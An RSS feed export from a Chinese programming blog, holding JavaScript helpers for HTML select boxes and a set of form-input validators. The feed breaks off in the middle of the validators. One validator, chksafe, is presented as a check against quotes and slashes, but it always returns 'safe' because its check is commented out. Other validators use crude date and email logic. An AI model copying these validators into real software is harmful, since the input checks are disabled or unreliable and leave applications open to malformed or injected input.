﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-小镇树妖--住在树上的妖-文章分类-Web(asp, javascript, css ...)</title><link>http://www.blogjava.net/jackywjj/category/2059.html</link><description>To follow the path:
look to the master,
follow the master,
walk with the master,
see through the master,
become the master.</description><language>zh-cn</language><lastBuildDate>Fri, 11 Jan 2008 07:59:28 GMT</lastBuildDate><pubDate>Fri, 11 Jan 2008 07:59:28 GMT</pubDate><ttl>60</ttl><item><title>js 操作select大全(转)</title><link>http://www.blogjava.net/jackywjj/articles/174391.html</link><dc:creator>jacky wu</dc:creator><author>jacky wu</author><pubDate>Thu, 10 Jan 2008 10:30:00 GMT</pubDate><guid>http://www.blogjava.net/jackywjj/articles/174391.html</guid><wfw:comment>http://www.blogjava.net/jackywjj/comments/174391.html</wfw:comment><comments>http://www.blogjava.net/jackywjj/articles/174391.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jackywjj/comments/commentRss/174391.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jackywjj/services/trackbacks/174391.html</trackback:ping><description><![CDATA[<div class="blog_content">
<font face="Arial">
<ol>
    <li><font face="Arial" size="2">判断select选项中 是否存在Value="paraValue"的Item</font> </li>
    <li><font face="Arial" size="2">向select选项中 加入一个Item</font> </li>
    <li><font face="Arial" size="2">从select选项中 删除一个Item</font> </li>
    <li><font size="2"><span class="hilite2">删除select</span>中选中的项</font> </li>
    <li><font face="Arial" size="2">修改select选项中 value="paraValue"的text为"paraText"</font> </li>
    <li><font face="Arial" size="2">设置select中text="paraText"的第一个Item为选中</font> </li>
    <li><font face="Arial" size="2">设置select中value="paraValue"的Item为选中</font> </li>
    <li><font face="Arial" size="2">得到select的当前选中项的value</font> </li>
    <li><font face="Arial" size="2">得到select的当前选中项的text</font> </li>
    <li><font face="Arial" size="2">得到select的当前选中项的Index</font> </li>
    <li><font face="Arial" size="2">清空select的项</font> </li>
</ol>
<div class="code_title">js 代码</div>
<div class="dp-highlighter">
<ol class="dp-c">
    <li class="alt"><span><span class="comment">//&nbsp;1.判断select选项中&nbsp;是否存在Value="paraValue"的Item&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;</span></span> </li>
    <li class=""><span class="keyword">function</span><span>&nbsp;jsSelectIsExitItem(objSelect,&nbsp;objItemValue)&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">var</span><span>&nbsp;isExit&nbsp;=&nbsp;</span><span class="keyword">false</span><span>;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">for</span><span>&nbsp;(</span><span class="keyword">var</span><span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;objSelect.<span class="hilite3">option</span>s.length;&nbsp;i++)&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>&nbsp;(objSelect.<span class="hilite3">option</span>s[i].value&nbsp;==&nbsp;objItemValue)&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;isExit&nbsp;=&nbsp;</span><span class="keyword">true</span><span>;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">break</span><span>;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>&nbsp;isExit;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;</span> </li>
    <li class="alt"><span class="comment">//&nbsp;2.向select选项中&nbsp;加入一个Item&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;</span> </li>
    <li class=""><span class="keyword">function</span><span>&nbsp;jsAddItemToSelect(objSelect,&nbsp;objItemText,&nbsp;objItemValue)&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//判断是否存在&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>&nbsp;(jsSelectIsExitItem(objSelect,&nbsp;objItemValue))&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(</span><span class="string">"该Item的Value值已经存在"</span><span>);&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;</span><span class="keyword">else</span><span>&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">var</span><span>&nbsp;varItem&nbsp;=&nbsp;</span><span class="keyword">new</span><span>&nbsp;<span class="hilite3">Option</span>(objItemText,&nbsp;objItemValue);&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objSelect.<span class="hilite3">option</span>s.add(varItem);&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(</span><span class="string">"成功加入"</span><span>);&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>}&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;</span> </li>
    <li class="alt"><span class="comment">//&nbsp;3.从select选项中&nbsp;删除一个Item&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;</span> </li>
    <li class=""><span class="keyword">function</span><span>&nbsp;jsRemoveItemFromSelect(objSelect,&nbsp;objItemValue)&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//判断是否存在&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>&nbsp;(jsSelectIsExitItem(objSelect,&nbsp;objItemValue))&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">for</span><span>&nbsp;(</span><span class="keyword">var</span><span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;objSelect.<span class="hilite3">option</span>s.length;&nbsp;i++)&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>&nbsp;(objSelect.<span class="hilite3">option</span>s[i].value&nbsp;==&nbsp;objItemValue)&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objSelect.<span class="hilite3">option</span>s.remove(i);&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">break</span><span>;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(</span><span class="string">"成功删除"</span><span>);&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;</span><span class="keyword">else</span><span>&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(</span><span class="string">"该select中&nbsp;不存在该项"</span><span>);&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>} &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;</span> </li>
    <li class=""><span class="comment">//&nbsp;4.<span class="hilite2">删除select</span>中选中的项 </span><span>&nbsp;&nbsp;</span> </li>
    <li class="alt"><span class="keyword">function</span><span>&nbsp;jsRemoveSelectedItemFromSelect(objSelect)&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">var</span><span>&nbsp;length&nbsp;=&nbsp;objSelect.<span class="hilite3">option</span>s.length&nbsp;-&nbsp;1; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">for</span><span>(</span><span class="keyword">var</span><span>&nbsp;i = length;&nbsp;i &gt;= 0;&nbsp;i--){ &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(objSelect[i].selected&nbsp;==&nbsp;</span><span class="keyword">true</span><span>){ &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objSelect.<span class="hilite3">option</span>s[i]&nbsp;=&nbsp;</span><span class="keyword">null</span><span>; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span> </li>
    <li class=""><span>}&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;</span> </li>
    <li class=""><span class="comment">//&nbsp;5.修改select选项中&nbsp;value="paraValue"的text为"paraText"&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;</span> </li>
    <li class="alt"><span class="keyword">function</span><span>&nbsp;jsUpdateItemToSelect(objSelect,&nbsp;objItemText,&nbsp;objItemValue)&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//判断是否存在&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>&nbsp;(jsSelectIsExitItem(objSelect,&nbsp;objItemValue))&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">for</span><span>&nbsp;(</span><span class="keyword">var</span><span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;objSelect.<span class="hilite3">option</span>s.length;&nbsp;i++)&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>&nbsp;(objSelect.<span class="hilite3">option</span>s[i].value&nbsp;==&nbsp;objItemValue)&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objSelect.<span class="hilite3">option</span>s[i].text&nbsp;=&nbsp;objItemText;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">break</span><span>;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(</span><span class="string">"成功修改"</span><span>);&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;</span><span class="keyword">else</span><span>&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(</span><span class="string">"该select中&nbsp;不存在该项"</span><span>);&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>}&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;</span> </li>
    <li class=""><span class="comment">//&nbsp;6.设置select中text="paraText"的第一个Item为选中&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;</span> </li>
    <li class="alt"><span class="keyword">function</span><span>&nbsp;jsSelectItemByValue(objSelect,&nbsp;objItemText)&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//判断是否存在&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">var</span><span>&nbsp;isExit&nbsp;=&nbsp;</span><span class="keyword">false</span><span>;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">for</span><span>&nbsp;(</span><span class="keyword">var</span><span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;objSelect.<span class="hilite3">option</span>s.length;&nbsp;i++)&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>&nbsp;(objSelect.<span class="hilite3">option</span>s[i].text&nbsp;==&nbsp;objItemText)&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objSelect.<span class="hilite3">option</span>s[i].selected&nbsp;=&nbsp;</span><span class="keyword">true</span><span>;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;isExit&nbsp;=&nbsp;</span><span class="keyword">true</span><span>;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">break</span><span>;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//Show出结果&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>&nbsp;(isExit)&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(</span><span class="string">"成功选中"</span><span>);&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;</span><span class="keyword">else</span><span>&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(</span><span class="string">"该select中&nbsp;不存在该项"</span><span>);&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>}&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;</span> </li>
    <li class="alt"><span class="comment">//&nbsp;7.设置select中value="paraValue"的Item为选中 </span><span>&nbsp;&nbsp;</span> </li>
    <li class=""><span>document.all.objSelect.value&nbsp;=&nbsp;objItemValue; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span class="comment">//&nbsp;8.得到select的当前选中项的value </span><span>&nbsp;&nbsp;</span> </li>
    <li class="alt"><span class="keyword">var</span><span>&nbsp;currSelectValue&nbsp;=&nbsp;document.all.objSelect.value; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span class="comment">//&nbsp;9.得到select的当前选中项的text </span><span>&nbsp;&nbsp;</span> </li>
    <li class=""><span class="keyword">var</span><span>&nbsp;currSelectText&nbsp;=&nbsp;document.all.objSelect.<span class="hilite3">option</span>s[document.all.objSelect.selectedIndex].text; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class=""><span class="comment">//&nbsp;10.得到select的当前选中项的Index </span><span>&nbsp;&nbsp;</span> </li>
    <li class="alt"><span class="keyword">var</span><span>&nbsp;currSelectIndex&nbsp;=&nbsp;document.all.objSelect.selectedIndex; &nbsp;&nbsp;</span> </li>
    <li class=""><span>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span> </li>
    <li class="alt"><span class="comment">//&nbsp;11.清空select的项 </span><span>&nbsp;&nbsp;</span> </li>
    <li class=""><span>document.all.objSelect.<span class="hilite3">option</span>s.length&nbsp;=&nbsp;0;&nbsp;&nbsp;</span> </li>
</ol>
</div>
</font>
</div>
<img src ="http://www.blogjava.net/jackywjj/aggbug/174391.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jackywjj/" target="_blank">jacky wu</a> 2008-01-10 18:30 <a href="http://www.blogjava.net/jackywjj/articles/174391.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>js 几种常用的表单输入判断</title><link>http://www.blogjava.net/jackywjj/articles/68029.html</link><dc:creator>jacky wu</dc:creator><author>jacky wu</author><pubDate>Wed, 06 Sep 2006 06:52:00 GMT</pubDate><guid>http://www.blogjava.net/jackywjj/articles/68029.html</guid><wfw:comment>http://www.blogjava.net/jackywjj/comments/68029.html</wfw:comment><comments>http://www.blogjava.net/jackywjj/articles/68029.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jackywjj/comments/commentRss/68029.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jackywjj/services/trackbacks/68029.html</trackback:ping><description><![CDATA[
		<p>//函数名：chksafe<br />//功能介绍：检查是否含有"'",'\\',"/"<br />//参数说明：要检查的字符串<br />//返回值：0：是  1：不是</p>
		<p>function chksafe(a)<br />{ <br /> return 1;<br />/* fibdn = new Array ("'" ,"\\", "、", ",", ";", "/");<br /> i=fibdn.length;<br /> j=a.length;<br /> for (ii=0;ii&lt;i;ii++)<br /> { for (jj=0;jj&lt;j;jj++)<br />  { temp1=a.charAt(jj);<br />   temp2=fibdn[ii];<br />   if (temp1==temp2)<br />   { return 0; }<br />  }<br /> }<br /> return 1;<br />*/ <br />} </p>
		<p>//函数名：chkspc<br />//功能介绍：检查是否含有空格<br />//参数说明：要检查的字符串<br />//返回值：0：是  1：不是</p>
		<p>function chkspc(a)<br />{<br /> var i=a.length;<br /> var j = 0;<br /> var k = 0;<br /> while (k&lt;i)<br /> {<br />  if (a.charAt(k) != " ")<br />   j = j+1;<br />  k = k+1;<br /> }<br /> if (j==0)<br /> {<br />  return 0;<br /> }<br /> <br /> if (i!=j)<br /> { return 2; }<br /> else<br /> {<br />  return 1;<br /> }<br />}</p>
		<p>//函数名：chkemail<br />//功能介绍：检查是否为Email Address<br />//参数说明：要检查的字符串<br />//返回值：0：不是  1：是 </p>
		<p>function chkemail(a)<br />{ var i=a.length;<br /> var temp = a.indexOf(<a href="mailto:'@'">'@'</a>);<br /> var tempd = a.indexOf('.');<br /> if (temp &gt; 1) {<br />  if ((i-temp) &gt; 3){<br />   <br />    if ((i-tempd)&gt;0){<br />     return 1;<br />    }<br />   <br />  }<br /> }<br /> return 0;<br />}//opt1 小数     opt2   负数<br />//当opt2为1时检查num是否是负数<br />//当opt1为1时检查num是否是小数<br />//返回1是正确的，0是错误的<br />function chknbr(num,opt1,opt2)<br />{<br /> var i=num.length;<br /> var staus;<br />//staus用于记录.的个数<br /> status=0;<br /> if ((opt2!=1) &amp;&amp; (num.charAt(0)=='-'))<br /> {<br />  //alert("You have enter a invalid number.");<br />  return 0;<br /> <br /> }<br />//当最后一位为.时出错<br /> if (num.charAt(i-1)=='.')<br /> {<br />  //alert("You have enter a invalid number.");<br />  return 0;<br /> }</p>
		<p> for (j=0;j&lt;i;j++)<br /> {<br />  if (num.charAt(j)=='.')<br />  {<br />   status++;<br />  }<br />  if (status&gt;1) <br />  {<br />  //alert("You have enter a invalid number.");<br />  return 0;  <br />  }<br />  if (num.charAt(j)&lt;'0' || num.charAt(j)&gt;'9' )<br />  {<br />   if (((opt1==0) || (num.charAt(j)!='.')) &amp;&amp; (j!=0)) <br />   {<br />    //alert("You have enter a invalid number.");<br />    return 0;<br />   }<br />  }<br /> }<br /> return 1;<br />}<br />//函数名：chkdate<br />//功能介绍：检查是否为日期<br />//参数说明：要检查的字符串<br />//返回值：0：不是日期  1：是日期</p>
		<p> </p>
		<p>function chkdate(datestr)<br />{<br /> var lthdatestr<br /> if (datestr != "")<br />  lthdatestr= datestr.length ;<br /> else<br />  lthdatestr=0;<br />  <br /> var tmpy="";<br /> var tmpm="";<br /> var tmpd="";<br /> //var datestr;<br /> var status;<br /> status=0;<br /> if ( lthdatestr== 0)<br />  return 0</p>
		<p>
				<br /> for (i=0;i&lt;lthdatestr;i++)<br /> { if (datestr.charAt(i)== '-')<br />  {<br />   status++;<br />  }<br />  if (status&gt;2)<br />  {<br />   //alert("Invalid format of date!");<br />   return 0;<br />  }<br />  if ((status==0) &amp;&amp; (datestr.charAt(i)!='-'))<br />  {<br />   tmpy=tmpy+datestr.charAt(i)<br />  }<br />  if ((status==1) &amp;&amp; (datestr.charAt(i)!='-'))<br />  {<br />   tmpm=tmpm+datestr.charAt(i)<br />  }<br />  if ((status==2) &amp;&amp; (datestr.charAt(i)!='-'))<br />  {<br />   tmpd=tmpd+datestr.charAt(i)<br />  }</p>
		<p> }<br /> year=new String (tmpy);<br /> month=new String (tmpm);<br /> day=new String (tmpd)<br /> //tempdate= new String (year+month+day);<br /> //alert(tempdate);<br /> if ((tmpy.length!=4) || (tmpm.length&gt;2) || (tmpd.length&gt;2))<br /> {<br />  //alert("Invalid format of date!");<br />  return 0;<br /> }<br /> if (!((1&lt;=month) &amp;&amp; (12&gt;=month) &amp;&amp; (31&gt;=day) &amp;&amp; (1&lt;=day)) )<br /> {<br />  //alert ("Invalid month or day!");<br />  return 0;<br /> }<br /> if (!((year % 4)==0) &amp;&amp; (month==2) &amp;&amp; (day==29))<br /> {<br />  //alert ("This is not a leap year!");<br />  return 0;<br /> }<br /> if ((month&lt;=7) &amp;&amp; ((month % 2)==0) &amp;&amp; (day&gt;=31))<br /> {<br />  //alert ("This month is a small month!");<br />  return 0;<br /> <br /> }<br /> if ((month&gt;=8) &amp;&amp; ((month % 2)==1) &amp;&amp; (day&gt;=31))<br /> {<br />  //alert ("This month is a small month!");<br />  return 0;<br /> }<br /> if ((month==2) &amp;&amp; (day==30))<br /> {<br />  //alert("The Febryary never has this day!");<br />  return 0;<br /> }<br /> <br /> return 1;<br />}<br />//函数名：fucPWDchk<br />//功能介绍：检查是否含有非数字或字母<br />//参数说明：要检查的字符串<br />//返回值：0：含有 1：全部为数字或字母 </p>
		<p>
